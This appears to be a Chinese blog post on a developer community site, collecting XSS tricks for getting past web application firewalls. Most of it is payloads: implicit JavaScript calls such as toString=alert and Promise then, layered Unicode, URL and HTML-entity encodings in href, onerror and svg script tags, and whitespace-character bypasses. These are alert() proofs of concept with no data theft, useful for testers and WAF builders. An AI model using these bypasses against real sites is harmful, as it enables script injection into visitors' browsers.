前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS那些tricks

XSS那些tricks

原创
作者头像
Deen_
发布2020-03-30 23:43:09
6810
发布2020-03-30 23:43:09
举报

title: XSS那些tricks


0x00 XSS的WAF防护

最近碰到的两种方式

  1. 字符串匹配,匹配恶意关键字,比较常见。一般手段为正则匹配,绕过可以通过编码,或者注释符,或者浏览器渲染特性进行绕过。
  2. 解析js语法。通过截取指定标签内容,对js进行静态语法树解析,对解析出来的语法树进行遍历,在语法树的各个节点进行hook,在节点进行判断。如函数调用的call expression,若call的字符串为alert,则封禁。

0x01 javascript的隐性调用

在调用某些对象,或者执行某些方法时,会自动隐式的调用某些函数。这里有个缺憾,自动调用的函数是不带参数的,并没有找到可以利用的方法(在空白页面),不同环境下有其他利用方法?

一、toString和valueOf

obj进行值运算时,如==,+,-等,会自动调用toString,或者valueOf方法。

payload:

  • toString=alert;this-1
  • valueOf=alert;this-1

二、JSON对象的toJSON

如果JSON的stringify方法传入的对象有toJSON方法,那么该方法执行的对象会转为toJSON执行后返回的对象。

payload: toJSON=alert;JSON.stringify(this);

三、promise对象的 then

当Promise.resolve方法传入对象时,如果存在 then 方法会立即执行then方法,相当于把方法放入new Promise中,除了Promise.resolve有这个行为外,Promise.all也有这个行为。

payload:

  • then=alert;Promise.resolve(this).then()
  • then=alert;Promise.all([this]).then()

四、thow和onerror

payload: <script>onerror=alert;throw 1</script>

0x02 编码

先知道哪些标签会进行解码,还有组合在一起时的解码顺序,才会知道在绕过时如何进行编码。

  • unicode 编码,形如\u003c。js标签会自动解码。
    • <script>alert(1)</script> => <script>\u0061\u006c\u0065\u0072\u0074(1)</script> (括号及括号内的不可进行unicode16进制编码)
    • <a href="javascript:\u0061\u006c\u0065\u0072\u0074('xss')">test</a>
  • url解码
    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a> 先unicode编码再urlencode编码。
    • <a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
  • html实体编码
    • <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;">test</a>
    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a> 进行编码=> <a href="&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0025;&#x0032;&#x0038;&#x0033;&#x0025;&#x0032;&#x0039;">a</a>
  • 混合编码 1. 原代码 < <a href="javascript:alert('xss')">test</a> 2. 对alert进行JS编码(unicode编码) <a href="javascript:\u0061\u006c\u0065\u0072\u0074('xss')">test</a> 3. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码 <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')">test</a> 4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')进行HTML编码: <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;">test</a>
代码语言:txt
复制
    1. 对javascript:alert(1)进行HTML编码
    <img src=xxx onerror="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
    2. 对alert进行JS编码
    <img src=xxx onerror="javascript:\u0061\u006c\u0065\u0072\u0074(1)">
    3. 以上两种方法混用
    <img src=xxx onerror="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;&#x28;&#x31;&#x29;">
  • svg的xml属性

payload: <svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;</script>

svg标签后接的scrpt标签,会自动进行一次实体解析。

其实可以混合编码利用:先unicode16进制编码,再实体编码。

代码语言:txt
复制
1. alert(1)
2. \u0061\u006c\u0065\u0072\u0074(1)
3. &#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0028;&#x0031;&#x0029;
4. <svg><script>&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0028;&#x0031;&#x0029;</script>

0x03 空白字符

payload从浏览器地址栏到页面上有一次url解码,可以理解为经过了一次unscape函数。

代码语言:txt
复制
alert=function(i){
console.log(i.toString(16))
};
for(i=0;i<257;i++){
try{eval('alert'+String.fromCharCode(i)+'('+i+')')}catch(e){}}


结果:09 0a 0b 0c  0d  20

payload:<script>%0b%0balert%0b%a%0c(1)</script>

利用条件为从地址栏到页面输出。可以用来绕过waf。

0x04 一些奇奇怪怪的payload

Lol:Function`alert(1)`

!class extends`${alert(1)}`{}

0x05 参考

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 XSS的WAF防护
  • 0x01 javascript的隐性调用
    • 一、toString和valueOf
      • 二、JSON对象的toJSON
        • 三、promise对象的 then
          • 四、thow和onerror
          • 0x02 编码
          • 0x03 空白字符
          • 0x04 一些奇奇怪怪的payload
          • 0x05 参考
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档